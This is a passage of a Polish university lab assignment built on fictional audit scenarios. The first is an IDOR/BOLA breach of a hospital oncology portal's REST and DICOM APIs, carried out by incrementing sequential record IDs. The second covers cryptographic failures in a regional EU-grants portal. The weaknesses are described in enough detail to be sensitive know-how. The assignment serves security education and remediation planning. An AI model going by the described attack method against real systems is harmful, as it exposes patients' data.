  • Architektura portalu opiera się na rozdzieleniu warstwy frontendowej (Single Page Application w technologii React) oraz warstwy usługowej REST API (kontenery Docker z mikroserwisami Node.js/Fastify) skomunikowanej z klastrem PostgreSQL oraz serwerem Orthanc PACS za pośrednictwem protokołów REST i DICOM Web (WADO-RS: Web Access to DICOM Objects by RESTful Services).
  • Użytkownik po poprawnym zalogowaniu przez Węzeł Krajowy (login.gov.pl) otrzymuje w nagłówku HTTP Authorization token JSON Web Token (JWT) podpisany kluczem asymetrycznym RS256 przez szpitalny serwer Keycloak. Jednakże mikroserwis pobierania opisów badań histopatologicznych (`GET /api/v1/patients/{patient_id}/records/{record_id}`) oraz mikroserwis streamingu obrazów DICOM Web (`GET /api/v1/pacs/studies/{study_uid}/series/{series_uid}/instances/{instance_uid}/frames/1`) weryfikują wyłącznie poprawność podpisu kryptograficznego JWT, całkowicie pomijając walidację, czy zalogowany pacjent posiada prawo dostępu do zasobu wskazanego w ścieżce żądania (brak autoryzacji obiektowej BOLA/IDOR).
  • W mikroserwisie raportów identyfikator `record_id` jest jawną liczbą sekwencyjną BIGINT (np. `489210`). Zmiana wartości w żądaniu HTTP na kolejną liczbę skutkuje natychmiastowym zwróceniem pełnego dokumentu histopatologicznego innego pacjenta (kod HTTP 200 OK zamiast 403 Forbidden), zawierającego numer PESEL, adres zamieszkania, histopatologiczny stopień złośliwości guza, stadium kliniczne TNM, rokowanie oraz dane lekarza patomorfologa.
  • Z kolei w mikroserwisie DICOM Web parametr `study_uid` generowany jest w formacie zgodnym ze standardem medycznym DICOM zawierającym identyfikator OID producenta tomografu oraz znacznik czasu. Analiza wykazała, że odpytanie endpointu wyszukiwania serii badań (`GET /api/v1/pacs/studies?PatientBirthDate=...`) bez jakiejkolwiek autoryzacji zwraca listę identyfikatorów badań wszystkich pacjentów.
  • Na poziomie bramy API Gateway (Kong Enterprise) wyłączono wtyczki Rate Limiting w celu "zapewnienia płynności streamingu tomogramów dla lekarzy na dyżurach domowych". Brak jest również zapory sieciowej WAF dedykowanej dla inspekcji zapytań API.
  • W nocy z niedzieli na poniedziałek system SIEM odnotował nietypowy transfer wychodzący o wolumenie 180 GB z adresu IP węzła komercyjnej sieci VPN. Zautomatyzowany skrypt intruza, inkrementując parametr `record_id` z prędkością 120 zapytań na sekundę, pobrał 45 000 pełnych raportów histopatologicznych oraz 12 000 serii obrazów tomograficznych pacjentów onkologicznych z ostatnich 3 lat. Zdarzenie zostało zignorowane przez dyżurnego administratora jako "nocna replikacja archiwum". Sprawa wyszła na jaw dopiero, gdy intruz przesłał próbkę danych 50 znanych osób publicznych do Marszałka Województwa, żądając 2 mln PLN w zamian za nieujawnienie bazy w sieci Darknet.

Dyrektor Szpitala, stając w obliczu kontroli UODO, paraliżu reputacyjnego, zawiadomienia ABW/CSIRT NASK oraz sankcji finansowych mogących doprowadzić do likwidacji placówki, powołuje Triadę Audytorską do przeprowadzenia strategicznego audytu w formule 90 minut na poziomie oceny 5.0.

Wskazówki wykonania krok po kroku w formule 90 minut

Zadanie realizowane jest w ścisłym reżimie warsztatowym (formuła 90 minut) przez 2-3 osobową Triadę Audytorską:

  • Krok 1 (Podział ról w Triadzie Audytorskiej - Minuty 00-15):

    Student A (Lead Auditor / Reprezentant CISO): Odpowiada za ład zarządczy (Web Governance), analizę zgodności z Dyrektywą NIS2 i art. 9 RODO, relacje z Dyrekcją i CSIRT NASK, koordynację matrycy 5x5 oraz przygotowanie 1-stronicowego Executive Summary ("Pitch to Board").

    Student B (Technical SecOps Auditor / Architekt Bezpieczeństwa API i Chmury): Dekonstruuje żądania REST API i DICOM Web WADO-RS, bada nagłówki JWT, analizuje luki BOLA/IDOR w kodzie Node.js, brak Rate Limitingu w Kong Gateway, projektuje architekturę ABAC/PBAC z Open Policy Agent, PostgreSQL Row-Level Security oraz bezpieczne mapowanie identyfikatorów na kryptograficzne UUID v4.

    Student C (Governance, Risk & Compliance Auditor): Przeprowadza dekompozycję uchybienia w kanonicznym modelu 4C, wylicza ryzyko w matrycy 5x5 skorelowane ze wskaźnikami CVSS v3.1 (9.8 Critical) i BCM (RTO=15m, RPO=0s, MTPD=1h), prowadzi sekwencję 5 Why oraz konstruuje Trójfazowy Plan CAP z przypisaniem ról RACI i metryk KPI/KRI. W zespole dwuosobowym zadania te dzielą Studenci A i B.

  • Krok 2 (Opracowanie Kanonicznej Karty Niezgodności 4C - Minuty 15-40):

    Sformułujcie kartę uchybienia krytycznego w modelu 4C:

Kanoniczna Karta Ustaleń Audytowych – model 4C
1. Condition (Stan faktyczny)

Mikroserwisy portalu pacjenta (`/api/v1/patients/{id}/records/{id}`) oraz bramka DICOM Web Orthanc PACS realizują autoryzację wyłącznie w oparciu o poprawność podpisu JWT, pomijając weryfikację uprawnień do konkretnych obiektów danych (BOLA/IDOR), co przy wyłączonym mechanizmie Rate Limiting umożliwiło zautomatyzowane pobranie 45 000 dokumentów histopatologicznych i 12 000 serii obrazów TK/MR przez intruza zewnętrznego.

2. Criteria (Kryterium)

Naruszenie kontroli ISO/IEC 27001:2022 A.8.2 (Prawa dostępu uprzywilejowanego), A.8.3 (Ograniczenie dostępu do informacji), A.8.28 (Bezpieczne kodowanie), standardu OWASP ASVS v4.0.3 Poziom L3 (wymóg V4.1, V4.2, V4.3 - sprawdzanie autoryzacji dla każdego obiektu biznesowego), art. 9 ust. 1, art. 32 ust. 1 lit. b oraz art. 33 RODO, art. 21 ust. 2 lit. c i d Dyrektywy NIS2 oraz art. 13 Ustawy o prawach pacjenta.

3. Cause (Przyczyna źródłowa – 5 Why)
  1. Dlaczego intruz pobrał 45 000 raportów onkologicznych? (Endpoint API zwrócił dane po prostej zmianie parametru `record_id`).
  2. Dlaczego endpoint zwrócił dane obcego pacjenta? (Warstwa middleware sprawdzała tylko podpis JWT, nie porównując claimu sub/patient_id z id zasobu w bazie).
  3. Dlaczego programiści nie wdrożyli autoryzacji obiektowej? (W wymaganiach funkcjonalnych zdefiniowano jedynie wymóg logowania przez login.gov.pl, pomijając specyfikację kontroli dostępu do obiektów).
  4. Dlaczego luka nie została wykryta przed wdrożeniem produkcyjnym? (Testy odbiorcze ograniczyły się do testów manualnych 'happy path', zrezygnowano ze skanowania DAST API i testów penetracyjnych z powodu presji terminu rozliczenia dotacji).

Przyczyna źródłowa: Brak zintegrowanego ładu Secure SDLC w szpitalu, brak polityki Zero-Trust dla interfejsów API, brak zautomatyzowanych bramek Quality Gates weryfikujących reguły autoryzacji obiektowej oraz brak kompetencji Application Security w dziale IT.

4. Consequence (Skutki)

Bezpośrednie zagrożenie życia i zdrowia pacjentów w przypadku manipulacji diagnozami onkologicznymi (art. 160 KK), naruszenie tajemnicy lekarskiej, kara finansowa Prezesa UODO do 20 mln EUR lub 4% globalnego obrotu, sankcje administracyjne z Dyrektywy NIS2 do 10 mln EUR lub 2% obrotu, pozwy cywilne poszkodowanych pacjentów szacowane na 15 mln PLN oraz utrata kontraktu NFZ na leczenie onkologiczne o wartości 120 mln PLN rocznie.

Analiza przyczyn źródłowych – drzewo 5 Why
  1. 1
    Dlaczego intruz pobrał 45 000 raportów onkologicznych? (Endpoint API zwrócił dane po prostej zmianie parametru `record_id`).
  2. 2
    Dlaczego endpoint zwrócił dane obcego pacjenta? (Warstwa middleware sprawdzała tylko podpis JWT, nie porównując claimu sub/patient_id z id zasobu w bazie).
  3. 3
    Dlaczego programiści nie wdrożyli autoryzacji obiektowej? (W wymaganiach funkcjonalnych zdefiniowano jedynie wymóg logowania przez login.gov.pl, pomijając specyfikację kontroli dostępu do obiektów).
  4. 4
    Dlaczego luka nie została wykryta przed wdrożeniem produkcyjnym? (Testy odbiorcze ograniczyły się do testów manualnych 'happy path', zrezygnowano ze skanowania DAST API i testów penetracyjnych z powodu presji terminu rozliczenia dotacji).
  5. root
    Przyczyna źródłowa: Brak zintegrowanego ładu Secure SDLC w szpitalu, brak polityki Zero-Trust dla interfejsów API, brak zautomatyzowanych bramek Quality Gates weryfikujących reguły autoryzacji obiektowej oraz brak kompetencji Application Security w dziale IT.
  • Krok 3 (Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS - Minuty 15-40):

    Skwantyfikujcie 4 wektory zagrożeń w skali 25-stopniowej (P 1-5 x S 1-5):

Zagrożenie (obszar podatności OWASP)P (in.)S (in.)Ryzyko inherentne (IR)P (po CAP)S (po CAP)Ryzyko rezydualne (RR)
Masowa eksfiltracja danych medycznych szczególnej kategorii przez podatność BOLA/IDOR w REST API ( 5 5 25/25 – Ryzyko Ekstremalne 1 5 5/25 – Ryzyko Akceptowalne
Nieuprawniony dostęp do badań obrazowych DICOM i rekonstrukcji 3D z serwera PACS ( 5 4 20/25 1 4 4/25
Zautomatyzowany harvesting zasobów API z powodu braku limitowania zapytań Rate Limiting ( 5 4 20/25 1 3 3/25
Brak natychmiastowej detekcji i blokady incydentu z powodu niewydolności telemetrii WAF/API ( 4 5 20/25 1 4 4/25
ParametrWartość docelowa
rto15 min dla przywrócenia bezpiecznej autoryzacji w API
rpo0 sekund (niedopuszczalna utrata lub zafałszowanie historii medycznej)
mtpd1 godzina (maksymalny dopuszczalny czas niedostępności portalu diagnostycznego)
  • Krok 4 (Konstrukcja Trójfazowego Planu Działań Korygujących - CAP - Minuty 40-70):

    Opracujcie tabelę CAP w 3 horyzontach czasowych:

FazaHoryzont Działania naprawczeRACI (właściciele) KPI (wskaźniki efektywności)KRI / termin weryfikacji
1 – Działania natychmiastowe mitygujące0-7 dniWdrożenie awaryjnych reguł weryfikacji tożsamości na bramie API Gateway Kong (skrypt Lua sprawdzający zgodność claimu `sub` w tokenie JWT z parametrem ścieżki URI), natychmiastowe włączenie wtyczki Rate Limiting (maksymalnie 30 zapytań na minutę na token pacjenta), odcięcie adresów IP intruza na firewallu brzegowym, formalne zgłoszenie naruszenia do Prezesa UODO (w terminie 72h) i CSIRT NASKA - Dyrektor Szpitala, R - CISO / Architekt Bezpieczeństwa100% zapytań weryfikowanych pod kątem zgodności IDLiczba żądań odrzuconych HTTP 403 > 0
2 – Działania krótkoterminowe inżyniersko-wdrożeniowe30 dniPełna refaktoryzacja mikroserwisów portalu - wdrożenie silnika Open Policy Agent (OPA) do dynamicznej ewaluacji reguł ABAC/PBAC, migracja publicznych identyfikatorów ze zmiennych sekwencyjnych na kryptograficzne UUID v4, aktywacja mechanizmu Row-Level Security (RLS) w PostgreSQL z polityką wymuszającą `USING (patient_uuid = current_setting('app.current_patient_uuid')::uuid)`A - Kierownik Działu IT, R - Lead Developer / Inżynier Baz Danych100% tabel pacjentów objętych RLSCzas odpowiedzi silnika OPA < 3 ms
3 – Działania systemowe i ład korporacyjny90 dniWdrożenie stałego potoku DevSecOps z automatycznymi testami bezpieczeństwa API (narzędzia DAST API: OWASP ZAP, RESTler, 42Crunch), formalny audyt zgodności oprogramowania z normą ISO 27799 i standardem OWASP ASVS v4.0.3 L3, przeszkolenie 100% zespołu programistycznego z bezpiecznego projektowania APIA - Zarząd Szpitala, R - CISO / Konsultant ZewnętrznyPoziom dojrzałości SAMM v2.0 >= Poziom 2Liczba wykrytych podatności w testach DAST = 0
  • Krok 5 (Sformalizowany Projekt Załącznika Wykonawczego SOP - Minuty 40-70):

    Zredagujcie sformalizowany akt normatywny: "Standard Autoryzacji Kontekstowej i Ochrony Danych Medycznych w Interfejsach API REST i Protokołach DICOM Web Wojewódzkiego Szpitala Specjalistycznego w Olsztynie" z numerowanymi artykułami:

    • § 1 Zakres i cel standardu (ochrona danych onkologicznych w interfejsach cyfrowych).
    • § 2 Obowiązkowy model kontroli dostępu ABAC (wymóg decyzyjny silnika OPA dla każdego endpointu).
    • § 3 Zasady generowania i maskowania identyfikatorów zasobów (bezwzględny zakaz sekwencyjnych liczb całkowitych, obowiązek stosowania UUID v4).
    • § 4 Zabezpieczenia na poziomie bazy danych (obowiązek stosowania Row-Level Security w relacyjnych bazach danych).
    • § 5 Polityka ochrony przed zautomatyzowanym odpytywaniem (reguły Rate Limiting na API Gateway i WAF).
    • § 6 Sankcje dyscyplinarne i cywilne za naruszenie standardu przy odbiorach oprogramowania.
  • Krok 6 (Opracowanie Podsumowania Zarządczego - Pitch to Board - Minuty 70-90):

    Przygotujcie 1-stronicowy dokument dla Dyrekcji Szpitala: bilans ryzyk (redukcja z 4 ryzyk ekstremalnych IR>=20 do poziomu akceptowalnego RR<=5), ekspozycja na sankcje UODO i NIS2 (do 30 mln EUR łącznie), budżet Planu CAP (380 000 PLN) oraz stopę zwrotu z inwestycji (ROSI: ochrona kontraktu NFZ o wartości 120 mln PLN i wyeliminowanie ryzyka pozwów cywilnych na kwotę 15 mln PLN).

Plan referatu studenckiego (15 minut) i obrona ustna

Plan obrony seminaryjnej przed komisją laboratoryjną (15 minut):

  • Prezentacja Podsumowania Zarządczego (Pitch to Board) dla Dyrekcji (3 min): Przedstawienie skali incydentu BOLA/IDOR, ekspozycji finansowej (kary UODO/NIS2) oraz bilansu ryzyk przed i po wdrożeniu Planu CAP (Student A - Lead Auditor).
  • Dekonstrukcja techniczna podatności REST API i DICOM Web (4 min): Prezentacja podatnych żądań HTTP, analiza braku autoryzacji kontekstowej w tokenach JWT, brak Rate Limitingu, demonstracja wektora ataku i zrzutów ruchu WADO-RS (Student B - Technical SecOps Auditor).
  • Prezentacja Kanonicznej Karty Niezgodności 4C, analizy 5 Why i matrycy ryzyka 5x5 (4 min): Uzasadnienie kwalifikacji uchybienia, korelacja z NIS2, art. 9 RODO i OWASP ASVS v4.0.3 L3 oraz wyliczenie redukcji ryzyka z IR=25 do RR=5 (Student C - Compliance Auditor).
  • Prezentacja Trójfazowego Planu CAP i Załącznika Wykonawczego SOP (3 min): Szczegółowe omówienie działań w horyzoncie 0-7, 30 i 90 dni, wskaźników KPI/KRI oraz reguł OPA i PostgreSQL Row-Level Security (Student B i Student C).
  • Dyskusja z komisją i obrona rekomendacji (1 min): Odpowiedzi na pytania prowadzącego i obrona realności inżynieryjnej proponowanych rozwiązań (cała Triada Audytorska).
Zakres raportu poaudytowego i dokumentacji wdrożeniowej (12-16 stron A4)

Struktura raportu strategicznego na ocenę 5.0 (objętość 12-16 stron A4):

A. Podsumowanie Zarządcze (Executive Summary - "Pitch to Board") - 1 strona A4:

  • Bilans ryzyk (4 wektory skwantyfikowane w matrycy 5x5 przed i po CAP).
  • Analiza ekspozycji prawnej i finansowej (UODO, NIS2, Kodeks Cywilny, utrata kontraktu NFZ).
  • Kosztorys Planu CAP (380 000 PLN) vs Return on Security Investment (ROSI).

B. Odpowiedzi na zaawansowane pytania problemowe i opis sytuacji kryzysowej:

  • W jaki sposób zaimplementować architekturę kontroli dostępu opartej na atrybutach (Attribute-Based Access Control - ABAC) z wykorzystaniem Open Policy Agent (OPA) w środowisku mikrousługowym REST/DICOM, aby całkowicie wyeliminować podatność BOLA/IDOR?
  • Czym różni się uwierzytelnienie za pomocą tokenu JWT od autoryzacji dostępu do konkretnego zasobu i dlaczego sam fakt posiadania ważnego podpisu kryptograficznego JWT RS256 nie świadczy o prawie dostępu do danego rekordu medycznego?
  • Jakie techniczne środki bezpieczeństwa na poziomie bazy danych (PostgreSQL Row-Level Security, odseparowane schematy, dynamiczne role połączeniowe) stanowią ostateczną linię obrony w przypadku kompromitacji warstwy aplikacyjnej?

C. Kanoniczna Karta Ustaleń Audytowych w Modelu 4C (Condition, Criteria, Cause [5 Why], Consequence).

D. Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS (IR vs RR, parametry RTO/RPO/MTPD, CVSS v3.1 Base Score 9.8).

E. Trójfazowy Plan Działań Korygujących (CAP) (tabela z podziałem na Fazę 1 [0-7 dni], Fazę 2 [30 dni], Fazę 3 [90 dni], macierz RACI, metryki KPI i KRI).

F. Sformalizowany Projekt Załącznika Wykonawczego (SOP) - Standard Bezpieczeństwa Aplikacji Web (§ 1 do § 6).

G. Analiza kompromisów inżynierskich (Trade-offs: narzut wydajnościowy ewaluacji polityk OPA i RLS vs gwarancja nienaruszalności danych pacjentów).

H. Bibliografia, netografia i regulacje prawne.

Bibliografia, netografia i regulacje prawne
  • OWASP Foundation: "OWASP Top 10:2021", Kategoria A01:2021 Broken Access Control.
  • OWASP Foundation: "API Security Top 10:2023", Kategoria API1:2023 Broken Object Level Authorization (BOLA).
  • OWASP Foundation: "Application Security Verification Standard (ASVS) v4.0.3", Sekcja V4 Access Control Verification Requirements (Poziom L3).
  • Dyrektywa Parlamentu Europejskiego i Rady (UE) 2022/2555 z dnia 14 grudnia 2022 r. (Dyrektywa NIS2) - art. 21 (Zarządzanie ryzykiem cyberbezpieczeństwa).
  • Rozporządzenie Parlamentu Europejskiego i Rady (UE) 2016/679 (RODO) - art. 9 (Przetwarzanie szczególnych kategorii danych), art. 32 (Bezpieczeństwo przetwarzania), art. 33 (Zgłaszanie naruszeń organowi nadzorczemu), art. 83 (Ogólne warunki nakładania administracyjnych kar pieniężnych).
  • Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.8.2 (Prawa dostępu uprzywilejowanego), A.8.3 (Ograniczenie dostępu do informacji), A.8.28 (Bezpieczne kodowanie).
  • Norma PN-EN ISO 27799:2016: Informatyka medyczna - Zarządzanie bezpieczeństwem informacji w dziedzinie zdrowia przy użyciu ISO/IEC 27002.
  • Ustawa z dnia 6 listopada 2008 r. o prawach pacjenta i Rzeczniku Praw Pacjenta (Dz.U. z 2022 r. poz. 1876 z późn. zm.).
  • Kodeks Karny (Dz.U. z 1997 r. nr 88 poz. 553 z późn. zm.) - art. 160 (Narażenie na niebezpieczeństwo utraty życia lub ciężkiego uszczerbku na zdrowiu), art. 267 (Bezprawne uzyskanie informacji).
Przypisanie do efektów uczenia się z sylabusa
  • U2 Bezbłędna dekompozycja uchybień autoryzacyjnych w modelu 4C i przeprowadzenie analizy 5 Why w infrastrukturze e-zdrowia.
  • U1 Projekt architektury Zero-Trust dla interfejsów API z silnikiem OPA, regułami ABAC oraz PostgreSQL Row-Level Security.
  • U3 Kwantyfikacja ryzyka w matrycy 5x5 w ujęciu inherentnym i rezydualnym z powiązaniem ze wskaźnikami CVSS i BCM.
  • U4 Konstrukcja Trójfazowego Planu CAP oraz przygotowanie profesjonalnego Executive Summary ("Pitch to Board").
  • W1W2W3 Wyczerpująca znajomość zbieżności NIS2, RODO art. 9, normy ISO 27001, ISO 27799 i standardu OWASP ASVS v4.0.3 L3.
  • K1K2K3 Obiektywizm, niezależność audytorska, wysoka kultura inżynierska i bezkompromisowa ochrona tajemnicy medycznej.
Wskazówki do przygotowania i obrony referatu

Podczas wystąpienia przed komisją zaprezentujcie diagram sekwencji żądania HTTP przed audytem (błędna weryfikacja JWT) oraz po wdrożeniu Planu CAP z uwzględnieniem odpytania silnika Open Policy Agent i filtru Row-Level Security w PostgreSQL. Skupcie się na wykazaniu, że koszt wdrożenia kontroli (380 tys. PLN) jest znikomy w porównaniu z ryzykiem utraty kontraktu NFZ na 120 mln PLN i sankcji UODO.

02
Urząd Marszałkowski województwa Podkarpackiego w Rzeszowie i regionalny system beneficjenta funduszy unijnych (administracja publiczna / KRI / RODO / dyscyplina finansów publicznych)
Zwiń

Temat: Strategiczny Audyt Bezpieczeństwa Kryptograficznego (A02:2021 - Cryptographic Failures), Zarządzania Kluczami HSM i Protokołów Transmisyjnych w Systemie E-dotacje: Zbieżność KRI, RODO art. 32, Model 4C, Ryzyko 5X5 i Trójfazowy Plan CAP

Urząd Marszałkowski Woj. Podkarpackiego – e-DotacjePodkarpacie (KRI / RODO art. 32 / dyscyplina finansów)Audyt A02:2021 Cryptographic Failures (formuła 90 min)1TLS 1.0/1.1 zszyframi CBC(BEAST/Lucky13), brakHSTS Preload2Hasła SHA-1 bez soli,klucze TLS w pliku.env, brak TDE na NAS3Podsłuch projektów owartości 1,8 mld PLN(IR=25, CVSS 9.1)4TLS 1.3 + Argon2id +Oracle TDE z HSM +Secret Manager + CAPSchemat strategicznego audytu błędów kryptograficznych Cryptographic Failures w regionalnym portalu dotacjiunijnych: analiza protokołów TLS, algorytmów haszowania haseł, sprzętowego modułu HSM, model 4C, matryca
Schemat strategicznego audytu błędów kryptograficznych Cryptographic Failures w regionalnym portalu dotacji unijnych: analiza protokołów TLS, algorytmów haszowania haseł, sprzętowego modułu HSM, model 4C, matryca ryzyka 5x5 i Trójfazowy Plan CAP
Cel zadania i powiązanie z efektami kształcenia

Głównym celem strategicznego zadania laboratoryjnego na ocenę 5.0 jest przeprowadzenie wyczerpującego audytu bezpieczeństwa kryptograficznego (kategoria OWASP Top 10:2021 - A02:2021 Cryptographic Failures) w systemie e-administracji publicznej 'e-Dotacje Podkarpacie' służącym do naboru, oceny oraz rozliczania projektów współfinansowanych ze środków funduszy unijnych (EFRR, EFS+) o wartości ponad 2 mld PLN. Studenci badają kompleksową infrastrukturę serwerową serwisu WWW NGINX, klastra bazodanowego Oracle Database 19c oraz podsystemu wymiany danych z Krajową Administracją Skarbową (KAS). Audyt ujawnia kumulację krytycznych uchybień kryptograficznych: obsługę wycofanych protokołów TLS 1.0 i 1.1 z podatnymi szyframi blokowymi CBC (podatności na ataki BEAST i Lucky13), brak nagłówka HSTS Preload dopuszczający ataki SSL Stripping, przechowywanie haseł 25 000 wnioskodawców za pomocą pojedynczej funkcji skrótu SHA-1 bez soli, brak szyfrowania danych wrażliwych w spoczynku (brak Transparent Data Encryption - TDE na wolumenach NAS) oraz obecność jawnopłytowych kluczy prywatnych TLS i kluczy API w plikach konfiguracyjnych `.env` o uprawnieniach odczytu dla wszystkich użytkowników lokalnych. Zadanie wymaga przeprowadzenia dekompozycji w kanonicznym modelu 4C, wyliczenia ryzyka w 25-stopniowej matrycy 5x5 powiązanej z metrykami CVSS v3.1 (9.1 Critical) i wskaźnikami BCM (RTO=30m, RPO=0s, MTPD=2h), skonstruowania Trójfazowego Planu CAP ze wskaźnikami KPI/KRI, opracowania sformalizowanego Załącznika Wykonawczego (SOP) regulującego standardy kryptograficzne, zarządzanie kluczami w modułach HSM oraz przygotowania Podsumowania Zarządczego (Pitch to Board) dla Marszałka Województwa.

Powiązanie z sylabusem i efektami kształcenia na ocenę 5.0:

  • W1 Zaawansowana znajomość wymogów ochrony informacji niejawnych, tajemnicy przedsiębiorstwa beneficjentów (w tym firm zbrojeniowych i lotniczych Doliny Lotniczej), dyscypliny finansów publicznych oraz wytycznych Europejskiego Urzędu ds. Przeciwdziałania Oszustwom (OLAF).
  • W2W3 Rygorystyczna korelacja wymagań § 20 Rozporządzenia ws. Krajowych Ram Interoperacyjności (KRI), art. 32 ust. 1 lit. a RODO, normy PN-EN ISO/IEC 27001:2022 (kontrole A.8.20 Bezpieczeństwo sieci, A.8.24 Krypto-zabezpieczenia, A.5.15 Kontrola dostępu), wytycznych NIST SP 800-52 Rev. 2, NIST SP 800-132 oraz standardu FIPS 140-3.
  • U1 Opracowanie zaleceń inżynierskich twardej rekonfiguracji TLS 1.3 z kryptografią krzywych eliptycznych ECDHE, migracji bazy haseł na algorytm Argon2id, wdrożenia Oracle TDE z integracją ze sprzętowym modułem HSM (Hardware Security Module) i zautomatyzowanego skarbca sekretów HashiCorp Vault.
  • U2 Bezbłędna kwalifikacja uchybień w kanonicznym modelu 4C z precyzyjnym wskazaniem kryteriów KRI, RODO i norm ISO.
  • U3 Kwantyfikacja ryzyka w matrycy 5x5 dla wektorów podsłuchu transmisji, kradzieży patentów i kompromitacji tożsamości beneficjentów (IR=25, CVSS=9.1, korelacja z BCM).
  • U4 Opracowanie Trójfazowego Planu CAP, projektu procedury SOP oraz 1-stronicowego briefingu zarządczego (Pitch to Board).
  • K1K2K3 Profesjonalizm audytorski, niezależność w ocenie instytucji publicznej, dbałość o interes Skarbu Państwa i nienaruszalność funduszy europejskich.
  • Powiązanie z wykładem: Wyk1 (Audyt w administracji rządowej i samorządowej), Wyk3 (Kontrole A.8.20 i A.8.24 ISO 27001), Wyk4 (Wymogi KRI i RODO art. 32), Wyk5 (Matryca ryzyka 5x5), Wyk6 (Kryptoanaliza ruchu sieciowego i skrótów), Wyk7 (Model 4C, 5 Why, Trójfazowy CAP i Pitch to Board).
Scenariusz sytuacyjny organizacji

Urząd Marszałkowski Województwa Podkarpackiego w Rzeszowie eksploatuje zintegrowany system teleinformatyczny 'e-Dotacje Podkarpacie'. Portal stanowi jedyny oficjalny kanał aplikowania o dotacje ze środków Unii Europejskiej w ramach programu regionalnego 'Fundusze Europejskie dla Podkarpacia 2021-2027'. W systemie zarejestrowanych jest ponad 25 000 beneficjentów, w tym kluczowe instytuty naukowe, szpitale wojewódzkie, klastry technologiczne oraz przedsiębiorstwa sektora lotniczego z Doliny Lotniczej. Wnioski o dofinansowanie zawierają zastrzeżone projekty innowacji technologicznych, szczegółowe kalkulacje kosztorysowe, patenty przedrejestracyjne, bilanse spółek oraz dane osobowe kadry zarządczej i ekspertów oceniających.

Stan faktyczny w obszarze kryptografii i bezpieczeństwa teleinformatycznego:

  • Serwis webowy jest publicznie dostępny pod domeną `https://edotacje.podkarpackie.pl`. Badanie konfiguracji serwerów brzegowych NGINX przy użyciu dedykowanych skanerów SSL ujawniło najniższą ocenę bezpieczeństwa 'F'. Serwer nadal akceptuje połączenia w wycofanych standardach TLS 1.0 oraz TLS 1.1 z zestawami szyfrów bazującymi na CBC (np. `TLS_RSA_WITH_AES_128_CBC_SHA`), które są podatne na ataki kryptoanalityczne (dowiedzione ataki Lucky13 i POODLE).
  • Brak jest implementacji nagłówka HTTP Strict Transport Security (HSTS) z dyrektywami `includeSubDomains` i `preload`. Formularz logowania na porcie 80 HTTP wykonuje jedynie miękkie przekierowanie 302, co pozwala na przeprowadzenie ataku SSL Stripping w otwartych sieciach Wi-Fi (np. w centrach konferencyjnych podczas naborów projektów).
  • Weryfikacja bazy danych Oracle Database 19c wykazała, że hasła 25 000 wnioskodawców oraz 350 urzędników składowane są w tabeli `konta_uzytkownicy` jako surowe, niesolone skróty `SHA1(haslo)`. Zespół audytorski, wykorzystując powszechne tęczowe tablice (Rainbow Tables) oraz stację roboczą z dwoma układami GPU RTX 4090, w ciągu zaledwie 35 minut odtworzył w postaci jawnej hasła dla 84% próby losowej 500 kont użytkowników, w tym 12 ekspertów oceniających wnioski.
  • Dokumentacja projektowa, pliki PDF z opisami patentów oraz skany sprawozdań finansowych składowane są na zasobach dyskowych macierzy NAS w czystym tekście, bez żadnego szyfrowania w spoczynku (brak Transparent Data Encryption - TDE oraz brak szyfrowania blokowego wolumenów LUKS).
  • W toku inspekcji systemu operacyjnego serwera aplikacyjnego stwierdzono, że klucze prywatne certyfikatów SSL/TLS wildcard (`*.podkarpackie.pl`) oraz klucze API do integracji z Krajową Administracją Skarbową (KAS) i Węzłem Krajowym znajdują się w jawnym pliku `.env` w katalogu `/var/www/edotacje/config/` z uprawnieniami systemowymi `chmod 644` (odczyt dla wszystkich użytkowników lokalnych).

Marszałek Województwa, powiadomiony o możliwości unieważnienia certyfikacji naborów przez Komisję Europejską, kontroli OLAF, kar finansowych UODO oraz pozwów ze strony konsorcjów lotniczych o odszkodowania za kradzież tajemnic przedsiębiorstwa, powołuje Triadę Audytorską do przeprowadzenia strategicznego audytu w formule 90 minut na poziomie oceny 5.0.

Wskazówki wykonania krok po kroku w formule 90 minut

Zadanie realizowane jest w ścisłym reżimie warsztatowym (formuła 90 minut) przez 2-3 osobową Triadę Audytorską:

  • Krok 1 (Podział ról w Triadzie Audytorskiej - Minuty 00-15):

    Student A (Lead Auditor / Zgodność z KRI i Dyrektywami UE): Odpowiada za ład prawno-regulacyjny, analizę zgodności z § 20 Rozporządzenia ws. KRI, art. 32 RODO, przepisami Ustawy o finansach publicznych, wytycznymi OLAF, koordynację matrycy 5x5 oraz przygotowanie 1-stronicowego Executive Summary ("Pitch to Board").

    Student B (Technical SecOps Auditor / Architekt Kryptografii i Serwerów): Analizuje pakiety protokołów TLS, zestawy Cipher Suites, podatności CBC, kryptoanalizę skrótów SHA-1, brak HSTS, projektuje twardą konfigurację TLS 1.3 z ECDHE, migrację haseł na Argon2id oraz architekturę integracji Oracle TDE ze sprzętowym modułem HSM i HashiCorp Vault.

    Student C (Governance, Risk & Compliance Auditor): Opracowuje Kanoniczną Kartę Niezgodności 4C, wylicza ryzyko w matrycy 5x5 skorelowane ze wskaźnikami CVSS v3.1 (9.1 Critical) i BCM (RTO=30m, RPO=0s, MTPD=2h), prowadzi dochodzenie 5 Why oraz konstruuje Trójfazowy Plan CAP ze wskaźnikami KPI i KRI. W zespole dwuosobowym zadania te dzielą Studenci A i B.

  • Krok 2 (Opracowanie Kanonicznej Karty Niezgodności 4C - Minuty 15-40):

    Sformułujcie kartę uchybienia krytycznego w modelu 4C:

Kanoniczna Karta Ustaleń Audytowych – model 4C
1. Condition (Stan faktyczny)

System e-Dotacje dopuszcza przestarzałe protokoły TLS 1.0/1.1 z szyframi CBC bez HSTS Preload, przechowuje hasła 25 000 wnioskodawców w postaci niesolonych skrótów SHA-1 (złamanie 84% haseł w 35 minut), nie szyfruje danych patentowych w spoczynku (brak TDE) oraz eksponuje klucze prywatne TLS w pliku `.env` o uprawnieniach `644`.

2. Criteria (Kryterium)

Naruszenie § 20 ust. 2 pkt 5 Rozporządzenia Rady Ministrów z dnia 12 kwietnia 2012 r. w sprawie Krajowych Ram Interoperacyjności (wymóg stosowania aktualnych protokołów kryptograficznych), art. 32 ust. 1 lit. a RODO (pseudonimizacja i szyfrowanie danych osobowych), kontroli ISO/IEC 27001:2022 A.8.20 (Bezpieczeństwo sieci), A.8.24 (Krypto-zabezpieczenia), A.5.15 (Kontrola dostępu) oraz standardów NIST SP 800-52 Rev. 2 i NIST SP 800-132.

3. Cause (Przyczyna źródłowa – 5 Why)
